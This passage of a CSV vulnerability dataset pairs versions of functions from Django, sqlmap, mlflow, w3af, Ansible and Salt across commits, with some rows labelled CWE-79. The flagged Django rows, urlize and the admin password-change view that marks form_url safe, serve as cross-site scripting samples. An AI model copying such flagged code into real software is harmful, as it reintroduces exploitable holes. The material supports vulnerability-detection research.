    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator.
        For non-uniform digit grouping, it can be a sequence with the number
        of digit group sizes following the format used by the Python locale
        module in locale.localeconv() LC_NUMERIC grouping (e.g. (3, 2, 0)).
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = (use_l10n or (use_l10n is None and settings.USE_L10N)) and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping != 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(number)
    # sign
    sign = ''
    if isinstance(number, Decimal):
        str_number = '{:f}'.format(number)
    else:
        str_number = str(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    dec_part = dec_part and decimal_sep + dec_part
    # grouping
    if use_grouping:
        try:
            # if grouping is a sequence
            intervals = list(grouping)
        except TypeError:
            # grouping is a single value
            intervals = [grouping, 0]
        active_interval = intervals.pop(0)
        int_part_gd = ''
        cnt = 0
        for digit in int_part[::-1]:
            if cnt and cnt == active_interval:
                if intervals:
                    active_interval = intervals.pop(0) or active_interval
                int_part_gd += thousand_sep[::-1]
                cnt = 0
            int_part_gd += digit
            cnt += 1
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/shell.py,0,"def queriesForAutoCompletion():
    autoComplQueries = {}

    for _, query in queries[kb.dbms].items():
        if isinstance(query, basestring) and len(query) > 1:
            autoComplQuery = query
        elif isinstance(query, dict) and ""inband"" in query:
            autoComplQuery = query[""inband""][""query""]
        else:
            continue

        autoComplQueries[autoComplQuery] = None

    return autoComplQueries",,sqlmapproject/sqlmap,dc83f794eadcff0c2c6257ccc0e06894caf7700f,"def queriesForAutoCompletion():
    autoComplQueries = {}

    for _, query in queries[kb.dbms].items():
        if isinstance(query, str) and len(query) > 1:
            autoComplQuery = query
        elif isinstance(query, dict) and ""inband"" in query:
            autoComplQuery = query[""inband""][""query""]
        else:
            continue

        autoComplQueries[autoComplQuery] = None

    return autoComplQueries"
,UNKNOWN,UNKNOWN,django/utils/html.py,1,"def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
    """"""
    Converts any URLs in text into clickable links.

    Works on http://, https://, www. links, and also on links ending in one of
    the original seven gTLDs (.com, .edu, .gov, .int, .mil, .net, and .org).
    Links can have trailing punctuation (periods, commas, close-parens) and
    leading punctuation (opening parens) and it'll still do the right thing.

    If trim_url_limit is not None, the URLs in link text longer than this limit
    will truncated to trim_url_limit-3 characters and appended with an elipsis.

    If nofollow is True, the URLs in link text will get a rel=""nofollow""
    attribute.

    If autoescape is True, the link text and URLs will get autoescaped.
    """"""
    def trim_url(x, limit=trim_url_limit):
        if limit is None or len(x) <= limit:
            return x
        return '%s...' % x[:max(0, limit - 3)]
    safe_input = isinstance(text, SafeData)
    words = word_split_re.split(force_text(text))
    for i, word in enumerate(words):
        if '.' in word or '@' in word or ':' in word:
            # Deal with punctuation.
            lead, middle, trail = '', word, ''
            for punctuation in TRAILING_PUNCTUATION:
                if middle.endswith(punctuation):
                    middle = middle[:-len(punctuation)]
                    trail = punctuation + trail
            for opening, closing in WRAPPING_PUNCTUATION:
                if middle.startswith(opening):
                    middle = middle[len(opening):]
                    lead = lead + opening
                # Keep parentheses at the end only if they're balanced.
                if (middle.endswith(closing)
                    and middle.count(closing) == middle.count(opening) + 1):
                    middle = middle[:-len(closing)]
                    trail = closing + trail

            # Make URL we want to point to.
            url = None
            nofollow_attr = ' rel=""nofollow""' if nofollow else ''
            if simple_url_re.match(middle):
                url = smart_urlquote(middle)
            elif simple_url_2_re.match(middle):
                url = smart_urlquote('http://%s' % middle)
            elif not ':' in middle and simple_email_re.match(middle):
                local, domain = middle.rsplit('@', 1)
                try:
                    domain = domain.encode('idna').decode('ascii')
                except UnicodeError:
                    continue
                url = 'mailto:%s@%s' % (local, domain)
                nofollow_attr = ''

            # Make link.
            if url:
                trimmed = trim_url(middle)
                if autoescape and not safe_input:
                    lead, trail = escape(lead), escape(trail)
                    url, trimmed = escape(url), escape(trimmed)
                middle = '<a href=""%s""%s>%s</a>' % (url, nofollow_attr, trimmed)
                words[i] = mark_safe('%s%s%s' % (lead, middle, trail))
            else:
                if safe_input:
                    words[i] = mark_safe(word)
                elif autoescape:
                    words[i] = escape(word)
        elif safe_input:
            words[i] = mark_safe(word)
        elif autoescape:
            words[i] = escape(word)
    return ''.join(words)",CWE-79,django/django,2530735d2d57316d1df8177745e93a78de663ff7,"def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
    """"""
    Converts any URLs in text into clickable links.

    Works on http://, https://, www. links, and also on links ending in one of
    the original seven gTLDs (.com, .edu, .gov, .int, .mil, .net, and .org).
    Links can have trailing punctuation (periods, commas, close-parens) and
    leading punctuation (opening parens) and it'll still do the right thing.

    If trim_url_limit is not None, the URLs in link text longer than this limit
    will truncated to trim_url_limit-3 characters and appended with an elipsis.

    If nofollow is True, the URLs in link text will get a rel=""nofollow""
    attribute.

    If autoescape is True, the link text and URLs will get autoescaped.
    """"""
    def trim_url(x, limit=trim_url_limit):
        if limit is None or len(x) <= limit:
            return x
        return '%s...' % x[:max(0, limit - 3)]
    safe_input = isinstance(text, SafeData)
    words = word_split_re.split(force_text(text))
    for i, word in enumerate(words):
        match = None
        if '.' in word or '@' in word or ':' in word:
            # Deal with punctuation.
            lead, middle, trail = '', word, ''
            for punctuation in TRAILING_PUNCTUATION:
                if middle.endswith(punctuation):
                    middle = middle[:-len(punctuation)]
                    trail = punctuation + trail
            for opening, closing in WRAPPING_PUNCTUATION:
                if middle.startswith(opening):
                    middle = middle[len(opening):]
                    lead = lead + opening
                # Keep parentheses at the end only if they're balanced.
                if (middle.endswith(closing)
                    and middle.count(closing) == middle.count(opening) + 1):
                    middle = middle[:-len(closing)]
                    trail = closing + trail

            # Make URL we want to point to.
            url = None
            nofollow_attr = ' rel=""nofollow""' if nofollow else ''
            if simple_url_re.match(middle):
                url = smart_urlquote(middle)
            elif simple_url_2_re.match(middle):
                url = smart_urlquote('http://%s' % middle)
            elif not ':' in middle and simple_email_re.match(middle):
                local, domain = middle.rsplit('@', 1)
                try:
                    domain = domain.encode('idna').decode('ascii')
                except UnicodeError:
                    continue
                url = 'mailto:%s@%s' % (local, domain)
                nofollow_attr = ''

            # Make link.
            if url:
                trimmed = trim_url(middle)
                if autoescape and not safe_input:
                    lead, trail = escape(lead), escape(trail)
                    url, trimmed = escape(url), escape(trimmed)
                middle = '<a href=""%s""%s>%s</a>' % (url, nofollow_attr, trimmed)
                words[i] = mark_safe('%s%s%s' % (lead, middle, trail))
            else:
                if safe_input:
                    words[i] = mark_safe(word)
                elif autoescape:
                    words[i] = escape(word)
        elif safe_input:
            words[i] = mark_safe(word)
        elif autoescape:
            words[i] = escape(word)
    return ''.join(words)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/sqlalchemy_store.py,0,"def _construct_experiment(experiment_id, name, artifact_location):
        """"""
        Constructor for a SqlExperiment entry for writing to a tracking db instance.
        :param experiment_id: Either experiment 0 for default or a random generated fix-length
                              int64 value
        :param name: A unique name for the experiment
        :param artifact_location: The location where artifacts will be logged to
        :return: SqlExperiment instance
        """"""
        creation_time = get_current_time_millis()
        experiment = SqlExperiment(
            experiment_id=int(experiment_id),
            name=name,
            lifecycle_stage=LifecycleStage.ACTIVE,
            artifact_location=artifact_location,
            creation_time=creation_time,
            last_update_time=creation_time,
        )
        return experiment",,mlflow/mlflow,ecb6a0c462c9d33f0e425035326b7b7733fea0da,"def _construct_experiment(experiment_id, name, artifact_location):
        """"""
        Constructor for a SqlExperiment entry for writing to a tracking db instance.
        :param experiment_id: Either experiment 0 for default or a random generated fix-length
                              int64 value
        :param name: A unique name for the experiment
        :param artifact_location: The location where artifacts will be logged to
        :return: SqlExperiment instance
        """"""
        creation_time = get_current_time_millis()
        experiment = SqlExperiment(
            experiment_id=experiment_id,
            name=name,
            lifecycle_stage=LifecycleStage.ACTIVE,
            artifact_location=artifact_location,
            creation_time=creation_time,
            last_update_time=creation_time,
        )
        return experiment"
,UNKNOWN,UNKNOWN,django/contrib/auth/admin.py,1,"def user_change_password(self, request, id, form_url=''):
        if not self.has_change_permission(request):
            raise PermissionDenied
        user = get_object_or_404(self.queryset(request), pk=id)
        if request.method == 'POST':
            form = self.change_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                msg = ugettext('Password changed successfully.')
                messages.success(request, msg)
                return HttpResponseRedirect('..')
        else:
            form = self.change_password_form(user)

        fieldsets = [(None, {'fields': form.base_fields.keys()})]
        adminForm = admin.helpers.AdminForm(form, fieldsets, {})

        context = {
            'title': _('Change password: %s') % escape(user.username),
            'adminForm': adminForm,
            'form_url': mark_safe(form_url),
            'form': form,
            'is_popup': '_popup' in request.REQUEST,
            'add': True,
            'change': False,
            'has_delete_permission': False,
            'has_change_permission': True,
            'has_absolute_url': False,
            'opts': self.model._meta,
            'original': user,
            'save_as': False,
            'show_save': True,
        }
        return TemplateResponse(request, [
            self.change_user_password_template or
            'admin/auth/user/change_password.html'
        ], context, current_app=self.admin_site.name)",CWE-79,django/django,bc8875e37c2eb5e2fa3b86bcf620a6a97f955cfe,"def user_change_password(self, request, id, form_url=''):
        if not self.has_change_permission(request):
            raise PermissionDenied
        user = get_object_or_404(self.model, pk=id)
        if request.method == 'POST':
            form = self.change_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                msg = ugettext('Password changed successfully.')
                messages.success(request, msg)
                return HttpResponseRedirect('..')
        else:
            form = self.change_password_form(user)

        fieldsets = [(None, {'fields': form.base_fields.keys()})]
        adminForm = admin.helpers.AdminForm(form, fieldsets, {})

        context = {
            'title': _('Change password: %s') % escape(user.username),
            'adminForm': adminForm,
            'form_url': mark_safe(form_url),
            'form': form,
            'is_popup': '_popup' in request.REQUEST,
            'add': True,
            'change': False,
            'has_delete_permission': False,
            'has_change_permission': True,
            'has_absolute_url': False,
            'opts': self.model._meta,
            'original': user,
            'save_as': False,
            'show_save': True,
        }
        return TemplateResponse(request, [
            self.change_user_password_template or
            'admin/auth/user/change_password.html'
        ], context, current_app=self.admin_site.name)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pyfunc/__init__.py,0,"def predict(*args):
        model = SparkModelCache.get_or_load(archive_path)
        schema = {str(i): arg for i, arg in enumerate(args)}
        # Explicitly pass order of columns to avoid lexicographic ordering (i.e., 10 < 2)
        columns = [str(i) for i, _ in enumerate(args)]
        pdf = pandas.DataFrame(schema, columns=columns)
        result = model.predict(pdf)
        if not isinstance(result, pandas.DataFrame):
            result = pandas.DataFrame(data=result)

        elif type(elem_type) == IntegerType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort,
                                           np.int32]).astype(np.int32)

        elif type(elem_type) == LongType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort, np.int, np.long])

        elif type(elem_type) == FloatType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float32)

        elif type(elem_type) == DoubleType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float64)

        if len(result.columns) == 0:
            raise MlflowException(
                message=""The the model did not produce any values compatible with the requested ""
                        ""type '{}'. Consider requesting udf with StringType or ""
                        ""Arraytype(StringType)."".format(str(elem_type)),
                error_code=INVALID_PARAMETER_VALUE)

        if type(elem_type) == StringType:
            result = result.applymap(str)

        if type(result_type) == ArrayType:
            return pandas.Series([row[1].values for row in result.iterrows()])
        else:
            return result[result.columns[0]]",,mlflow/mlflow,121fd5806c08c3a4031c6692f6d4b87c3df4c304,"def predict(*args):
        model = SparkModelCache.get_or_load(archive_path)
        schema = {str(i): arg for i, arg in enumerate(args)}
        # Explicitly pass order of columns to avoid lexicographic ordering (i.e., 10 < 2)
        columns = [str(i) for i, _ in enumerate(args)]
        pdf = pandas.DataFrame(schema, columns=columns)
        result = model.predict(pdf)
        if not isinstance(result, pandas.DataFrame):
            result = pandas.DataFrame(data=result)

        elif type(elem_type) == IntegerType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort,
                                           np.int32]).astype(np.int32)

        elif type(elem_type) == LongType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort, np.int, np.long])

        elif type(elem_type) == FloatType:
            result = result.select_dtypes(include=np.number).astype(np.float32)

        elif type(elem_type) == DoubleType:
            result = result.select_dtypes(include=np.number).astype(np.float64)

        if len(result.columns) == 0:
            raise MlflowException(
                message=""The the model did not produce any values compatible with the requested ""
                        ""type '{}'. Consider requesting udf with StringType or ""
                        ""Arraytype(StringType)."".format(str(elem_type)),
                error_code=INVALID_PARAMETER_VALUE)

        if type(elem_type) == StringType:
            result = result.applymap(str)

        if type(result_type) == ArrayType:
            return pandas.Series([row[1].values for row in result.iterrows()])
        else:
            return result[result.columns[0]]"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/htaccess_methods.py,0,"def _generate_urls(self, url):
        '''
        Generate the URLs to test based on the initial URL we get from the core.

        Please note that I don't care much about duplicates coming out of this
        function since I'm filtering using the _unique method.

        I want to test URLs with PHP extensions because they are handled in a
        different way by Apache:

        andres@workstation:~/workspace/threading2$ nc moth 80 -v -v
        Connection to moth 80 port [tcp/http] succeeded!
        GGET /w3af/audit/htaccess_methods/index.html HTTP/1.1
        Host: moth

        HTTP/1.1 501 Method Not Implemented
        Date: Wed, 01 Aug 2012 12:10:13 GMT
        Server: Apache/2.2.22 (Ubuntu)
        Allow: POST,OPTIONS,GET,HEAD,TRACE
        Vary: Accept-Encoding
        Content-Length: 314
        Connection: close
        Content-Type: text/html; charset=iso-8859-1

        ...

        andres@workstation:~/workspace/threading2$ nc moth 80 -v -v
        Connection to moth 80 port [tcp/http] succeeded!
        GGET /w3af/audit/htaccess_methods/index.php HTTP/1.1
        Host: moth

        HTTP/1.1 200 OK
        Date: Wed, 01 Aug 2012 12:11:22 GMT
        Server: Apache/2.2.22 (Ubuntu)
        X-Powered-By: PHP/5.3.10-1ubuntu3.2
        Vary: Accept-Encoding
        Content-Length: 4
        Content-Type: text/html

        ABC
        '''
        yield url

        if url.get_extension():
            tmp_url = url.copy()
            tmp_url.set_extension('php')
            yield tmp_url

        if url.get_file_name() and url.get_extension():
            tmp_url = url.copy()
            tmp_url.set_extension('php')
            tmp_url.set_file_name('index')
            yield tmp_url
        else:
            tmp_url = url.copy()
            yield tmp_url.url_join('index.php')",,andresriancho/w3af,b48bb3ebb41a074f70805cba57bb518768fe7dfb,"def _generate_urls(self, url):
        '''
        Generate the URLs to test based on the initial URL we get from the core.

        Please note that I don't care much about duplicates coming out of this
        function since I'm filtering using the _unique method.

        I want to test URLs with PHP extensions because they are handled in a
        different way by Apache:

        andres@workstation:~/workspace/threading2$ nc moth 80 -v -v
        Connection to moth 80 port [tcp/http] succeeded!
        GGET /w3af/audit/htaccess_methods/index.html HTTP/1.1
        Host: moth

        HTTP/1.1 501 Method Not Implemented
        Date: Wed, 01 Aug 2012 12:10:13 GMT
        Server: Apache/2.2.22 (Ubuntu)
        Allow: POST,OPTIONS,GET,HEAD,TRACE
        Vary: Accept-Encoding
        Content-Length: 314
        Connection: close
        Content-Type: text/html; charset=iso-8859-1

        ...

        andres@workstation:~/workspace/threading2$ nc moth 80 -v -v
        Connection to moth 80 port [tcp/http] succeeded!
        GGET /w3af/audit/htaccess_methods/index.php HTTP/1.1
        Host: moth

        HTTP/1.1 200 OK
        Date: Wed, 01 Aug 2012 12:11:22 GMT
        Server: Apache/2.2.22 (Ubuntu)
        X-Powered-By: PHP/5.3.10-1ubuntu3.2
        Vary: Accept-Encoding
        Content-Length: 4
        Content-Type: text/html

        ABC
        '''
        yield url

        if url.get_extension():
            tmp_url = url.copy()
            tmp_url.set_extension('php')
            yield tmp_url

        if url.get_file_name():
            tmp_url = url.copy()
            tmp_url.set_extension('php')
            tmp_url.set_file_name('index')
            yield tmp_url
        else:
            tmp_url = url.copy()
            yield tmp_url.url_join('index.php')"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/cli/inventory.py,0,"def parse(self):

        self.parser = CLI.base_parser(
            usage='usage: %prog [options] [host|group]',
            epilog='Show Ansible inventory information, by default it uses the inventory script JSON format',
            inventory_opts=True,
            vault_opts=True,
            basedir_opts=True,
        )

        # remove unused default options
        self.parser.remove_option('--limit')
        self.parser.remove_option('--list-hosts')

        # Actions
        action_group = optparse.OptionGroup(self.parser, ""Actions"", ""One of following must be used on invocation, ONLY ONE!"")
        action_group.add_option(""--list"", action=""store_true"", default=False, dest='list', help='Output all hosts info, works as inventory script')
        action_group.add_option(""--host"", action=""store"", default=None, dest='host', help='Output specific host info, works as inventory script')
        action_group.add_option(""--graph"", action=""store_true"", default=False, dest='graph',
                                help='create inventory graph, if supplying pattern it must be a valid group name')
        self.parser.add_option_group(action_group)

        # graph
        self.parser.add_option(""-y"", ""--yaml"", action=""store_true"", default=False, dest='yaml',
                               help='Use YAML format instead of default JSON, ignored for --graph')
        self.parser.add_option('--toml', action='store_true', default=False, dest='toml',
                               help='Use TOML format instead of default JSON, ignored for --graph')
        self.parser.add_option(""--vars"", action=""store_true"", default=False, dest='show_vars',
                               help='Add vars to graph display, ignored unless used with --graph')

        # list
        self.parser.add_option(""--export"", action=""store_true"", default=C.INVENTORY_EXPORT, dest='export',
                               help=""When doing an --list, represent in a way that is optimized for export,""
                                    ""not as an accurate representation of how Ansible has processed it"")
        # self.parser.add_option(""--ignore-vars-plugins"", action=""store_true"", default=False, dest='ignore_vars_plugins',
        #                       help=""When doing an --list, skip vars data from vars plugins, by default, this would include group_vars/ and host_vars/"")

        super(InventoryCLI, self).parse()

        display.verbosity = self.options.verbosity

        self.validate_conflicts(vault_opts=True)

        # there can be only one! and, at least, one!
        used = 0
        for opt in (self.options.list, self.options.host, self.options.graph):
            if opt:
                used += 1
        if used == 0:
            raise AnsibleOptionsError(""No action selected, at least one of --host, --graph or --list needs to be specified."")
        elif used > 1:
            raise AnsibleOptionsError(""Conflicting options used, only one of --host, --graph or --list can be used at the same time."")

        # set host pattern to default if not supplied
        if len(self.args) > 0:
            self.options.pattern = self.args[0]
        else:
            self.options.pattern = 'all'",,ansible/ansible,9949629e5abef91b6fb3a09651c9fd92e9916dd3,"def parse(self):

        self.parser = CLI.base_parser(
            usage='usage: %prog [options] [host|group]',
            epilog='Show Ansible inventory information, by default it uses the inventory script JSON format',
            inventory_opts=True,
            vault_opts=True,
            basedir_opts=True,
        )

        # remove unused default options
        self.parser.remove_option('--limit')
        self.parser.remove_option('--list-hosts')

        # Actions
        action_group = optparse.OptionGroup(self.parser, ""Actions"", ""One of following must be used on invocation, ONLY ONE!"")
        action_group.add_option(""--list"", action=""store_true"", default=False, dest='list', help='Output all hosts info, works as inventory script')
        action_group.add_option(""--host"", action=""store"", default=None, dest='host', help='Output specific host info, works as inventory script')
        action_group.add_option(""--graph"", action=""store_true"", default=False, dest='graph',
                                help='create inventory graph, if supplying pattern it must be a valid group name')
        self.parser.add_option_group(action_group)

        # graph
        self.parser.add_option(""-y"", ""--yaml"", action=""store_true"", default=False, dest='yaml',
                               help='Use YAML format instead of default JSON, ignored for --graph')
        self.parser.add_option(""--vars"", action=""store_true"", default=False, dest='show_vars',
                               help='Add vars to graph display, ignored unless used with --graph')

        # list
        self.parser.add_option(""--export"", action=""store_true"", default=C.INVENTORY_EXPORT, dest='export',
                               help=""When doing an --list, represent in a way that is optimized for export,""
                                    ""not as an accurate representation of how Ansible has processed it"")
        # self.parser.add_option(""--ignore-vars-plugins"", action=""store_true"", default=False, dest='ignore_vars_plugins',
        #                       help=""When doing an --list, skip vars data from vars plugins, by default, this would include group_vars/ and host_vars/"")

        super(InventoryCLI, self).parse()

        display.verbosity = self.options.verbosity

        self.validate_conflicts(vault_opts=True)

        # there can be only one! and, at least, one!
        used = 0
        for opt in (self.options.list, self.options.host, self.options.graph):
            if opt:
                used += 1
        if used == 0:
            raise AnsibleOptionsError(""No action selected, at least one of --host, --graph or --list needs to be specified."")
        elif used > 1:
            raise AnsibleOptionsError(""Conflicting options used, only one of --host, --graph or --list can be used at the same time."")

        # set host pattern to default if not supplied
        if len(self.args) > 0:
            self.options.pattern = self.args[0]
        else:
            self.options.pattern = 'all'"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/lxc.py,0,"def _network_conf(conf_tuples=None, **kwargs):
    '''
    Network configuration defaults

        network_profile
            as for containers, we can either call this function
            either with a network_profile dict or network profile name
            in the kwargs
        nic_opts
            overrides or extra nics in the form {nic_name: {set: tings}

    '''
    nic = kwargs.get('network_profile', None)
    ret = []
    nic_opts = kwargs.get('nic_opts', {})
    if nic_opts is None:
        # coming from elsewhere
        nic_opts = {}
    if not conf_tuples:
        conf_tuples = []
    old = _get_veths(conf_tuples)
    if not old:
        old = {}

    # if we have a profile name, get the profile and load the network settings
    # this will obviously by default  look for a profile called ""eth0""
    # or by what is defined in nic_opts
    # and complete each nic settings by sane defaults
    if nic and isinstance(nic, (six.string_types, dict)):
        nicp = get_network_profile(nic)
    else:
        nicp = {}
    if DEFAULT_NIC not in nicp:
        nicp[DEFAULT_NIC] = {}

    kwargs = copy.deepcopy(kwargs)
    gateway = kwargs.pop('gateway', None)
    bridge = kwargs.get('bridge', None)
    if nic_opts:
        for dev, args in six.iteritems(nic_opts):
            ethx = nicp.setdefault(dev, {})
            try:
                ethx = salt.utils.dictupdate.update(ethx, args)
            except AttributeError:
                raise SaltInvocationError('Invalid nic_opts configuration')
    ifs = [a for a in nicp]
    ifs += [a for a in old if a not in nicp]
    ifs.sort()
    gateway_set = False
    for dev in ifs:
        args = nicp.get(dev, {})
        opts = nic_opts.get(dev, {}) if nic_opts else {}
        old_if = old.get(dev, {})
        disable = opts.get('disable', args.get('disable', False))
        if disable:
            continue
        mac = opts.get('mac',
                       opts.get('hwaddr',
                                args.get('mac',
                                         args.get('hwaddr', ''))))
        type_ = opts.get('type', args.get('type', ''))
        flags = opts.get('flags', args.get('flags', ''))
        link = opts.get('link', args.get('link', ''))
        ipv4 = opts.get('ipv4', args.get('ipv4', ''))
        ipv6 = opts.get('ipv6', args.get('ipv6', ''))
        infos = salt.utils.odict.OrderedDict([
            ('lxc.network.type', {
                'test': not type_,
                'value': type_,
                'old': old_if.get('lxc.network.type'),
                'default': 'veth'}),
            ('lxc.network.name', {
                'test': False,
                'value': dev,
                'old': dev,
                'default': dev}),
            ('lxc.network.flags', {
                'test': not flags,
                'value': flags,
                'old': old_if.get('lxc.network.flags'),
                'default': 'up'}),
            ('lxc.network.link', {
                'test': not link,
                'value': link,
                'old': old_if.get('lxc.network.link'),
                'default': search_lxc_bridge()}),
            ('lxc.network.hwaddr', {
                'test': not mac,
                'value': mac,
                'old': old_if.get('lxc.network.hwaddr'),
                'default': salt.utils.gen_mac()}),
            ('lxc.network.ipv4', {
                'test': not ipv4,
                'value': ipv4,
                'old': old_if.get('lxc.network.ipv4', ''),
                'default': None}),
            ('lxc.network.ipv6', {
                'test': not ipv6,
                'value': ipv6,
                'old': old_if.get('lxc.network.ipv6', ''),
                'default': None})])
        # for each parameter, if not explicitly set, the
        # config value present in the LXC configuration should
        # take precedence over the profile configuration
        for info in list(infos.keys()):
            bundle = infos[info]
            if bundle['test']:
                if bundle['old']:
                    bundle['value'] = bundle['old']
                elif bundle['default']:
                    bundle['value'] = bundle['default']
        for info, data in six.iteritems(infos):
            if data['value']:
                ret.append({info: data['value']})
        for key, val in six.iteritems(args):
            if key == 'link' and bridge:
                val = bridge
            val = opts.get(key, val)
            if key in [
                'type', 'flags', 'name',
                'gateway', 'mac', 'link', 'ipv4', 'ipv6'
            ]:
                continue
            ret.append({'lxc.network.{0}'.format(key): val})
        # gateway (in automode) must be appended following network conf !
        if not gateway:
            gateway = args.get('gateway', None)
        if gateway is not None and not gateway_set:
            ret.append({'lxc.network.ipv4.gateway': gateway})
            # only one network gateway ;)
            gateway_set = True
    # normally, this won't happen
    # set the gateway if specified even if we did
    # not managed the network underlying
    if gateway is not None and not gateway_set:
        ret.append({'lxc.network.ipv4.gateway': gateway})
        # only one network gateway ;)
        gateway_set = True

    new = _get_veths(ret)
    # verify that we did not loose the mac settings
    for iface in [a for a in new]:
        ndata = new[iface]
        nmac = ndata.get('lxc.network.hwaddr', '')
        ntype = ndata.get('lxc.network.type', '')
        omac, otype = '', ''
        if iface in old:
            odata = old[iface]
            omac = odata.get('lxc.network.hwaddr', '')
            otype = odata.get('lxc.network.type', '')
        # default for network type is setted here
        # attention not to change the network type
        # without a good and explicit reason to.
        if otype and not ntype:
            ntype = otype
        if not ntype:
            ntype = 'veth'
        new[iface]['lxc.network.type'] = ntype
        if omac and not nmac:
            new[iface]['lxc.network.hwaddr'] = omac

    ret = []
    for val in six.itervalues(new):
        for row in val:
            ret.append(salt.utils.odict.OrderedDict([(row, val[row])]))
    # on old versions of lxc, still support the gateway auto mode
    # if we didnt explicitly say no to
    # (lxc.network.ipv4.gateway: auto)
    if (
        distutils.version.LooseVersion(version()) <= '1.0.7' and
        True not in ['lxc.network.ipv4.gateway' in a for a in ret] and
        True in ['lxc.network.ipv4' in a for a in ret]
    ):
        ret.append({'lxc.network.ipv4.gateway': 'auto'})
    return ret",,saltstack/salt,ca4450d881c666cef99a1f6f2472588e779fac4f,"def _network_conf(conf_tuples=None, **kwargs):
    '''
    Network configuration defaults

        network_profile
            as for containers, we can either call this function
            either with a network_profile dict or network profile name
            in the kwargs
        nic_opts
            overrides or extra nics in the form {nic_name: {set: tings}

    '''
    nic = kwargs.get('network_profile', None)
    ret = []
    nic_opts = kwargs.get('nic_opts', {})
    if nic_opts is None:
        # coming from elsewhere
        nic_opts = {}
    if not conf_tuples:
        conf_tuples = []
    old = _get_veths(conf_tuples)
    if not old:
        old = {}

    # if we have a profile name, get the profile and load the network settings
    # this will obviously by default  look for a profile called ""eth0""
    # or by what is defined in nic_opts
    # and complete each nic settings by sane defaults
    if nic and isinstance(nic, (six.string_types, dict)):
        nicp = get_network_profile(nic)
    else:
        nicp = {}
    if DEFAULT_NIC not in nicp:
        nicp[DEFAULT_NIC] = {}

    kwargs = copy.deepcopy(kwargs)
    gateway = kwargs.pop('gateway', None)
    bridge = kwargs.get('bridge', None)
    if nic_opts:
        for dev, args in six.iteritems(nic_opts):
            ethx = nicp.setdefault(dev, {})
            try:
                ethx = salt.utils.dictupdate.update(ethx, args)
            except AttributeError:
                raise SaltInvocationError('Invalid nic_opts configuration')
    ifs = [a for a in nicp]
    ifs += [a for a in old if a not in nicp]
    ifs.sort()
    gateway_set = False
    for dev in ifs:
        args = nicp.get(dev, {})
        opts = nic_opts.get(dev, {}) if nic_opts else {}
        old_if = old.get(dev, {})
        disable = opts.get('disable', args.get('disable', False))
        if disable:
            continue
        mac = opts.get('mac',
                       opts.get('hwaddr',
                                args.get('mac',
                                         args.get('hwaddr', ''))))
        type_ = opts.get('type', args.get('type', ''))
        flags = opts.get('flags', args.get('flags', ''))
        link = opts.get('link', args.get('link', ''))
        ipv4 = opts.get('ipv4', args.get('ipv4', ''))
        ipv6 = opts.get('ipv6', args.get('ipv6', ''))
        infos = salt.utils.odict.OrderedDict([
            ('lxc.network.type', {
                'test': not type_,
                'value': type_,
                'old': old_if.get('lxc.network.type'),
                'default': 'veth'}),
            ('lxc.network.name', {
                'test': False,
                'value': dev,
                'old': dev,
                'default': dev}),
            ('lxc.network.flags', {
                'test': not flags,
                'value': flags,
                'old': old_if.get('lxc.network.flags'),
                'default': 'up'}),
            ('lxc.network.link', {
                'test': not link,
                'value': link,
                'old': old_if.get('lxc.network.link'),
                'default': search_lxc_bridge()}),
            ('lxc.network.hwaddr', {
                'test': not mac,
                'value': mac,
                'old': old_if.get('lxc.network.hwaddr'),
                'default': salt.utils.gen_mac()}),
            ('lxc.network.ipv4', {
                'test': not ipv4,
                'value': ipv4,
                'old': old_if.get('lxc.network.ipv4', ''),
                'default': None}),
            ('lxc.network.ipv6', {
                'test': not ipv6,
                'value': ipv6,
                'old': old_if.get('lxc.network.ipv6', ''),
                'default': None})])
        # for each parameter, if not explicitly set, the
        # config value present in the LXC configuration should
        # take precedence over the profile configuration
        for info in list(infos.keys()):
            bundle = infos[info]
            if bundle['test']:
                if bundle['old']:
                    bundle['value'] = bundle['old']
                elif bundle['default']:
                    bundle['value'] = bundle['default']
        for info, data in six.iteritems(infos):
            if data['value']:
                ret.append({info: data['value']})
        for key, val in six.iteritems(args):
            if key == 'link' and bridge:
                val = bridge
            val = opts.get(key, val)
            if key in [
                'type', 'flags', 'name',
                'gateway', 'mac', 'link', 'ipv4', 'ipv6'
            ]:
                continue
            ret.append({'lxc.network.{0}'.format(key): val})
        # gateway (in automode) must be appended following network conf !
        if not gateway:
            gateway = args.get('gateway', None)
        if gateway is not None and not gateway_set:
            ret.append({'lxc.network.ipv4.gateway': gateway})
            # only one network gateway ;)
            gateway_set = True
    # normally, this wont happen
    # set the gateway if specified even if we did
    # not managed the network underlying
    if gateway is not None and not gateway_set:
        ret.append({'lxc.network.ipv4.gateway': gateway})
        # only one network gateway ;)
        gateway_set = True

    new = _get_veths(ret)
    # verify that we did not loose the mac settings
    for iface in [a for a in new]:
        ndata = new[iface]
        nmac = ndata.get('lxc.network.hwaddr', '')
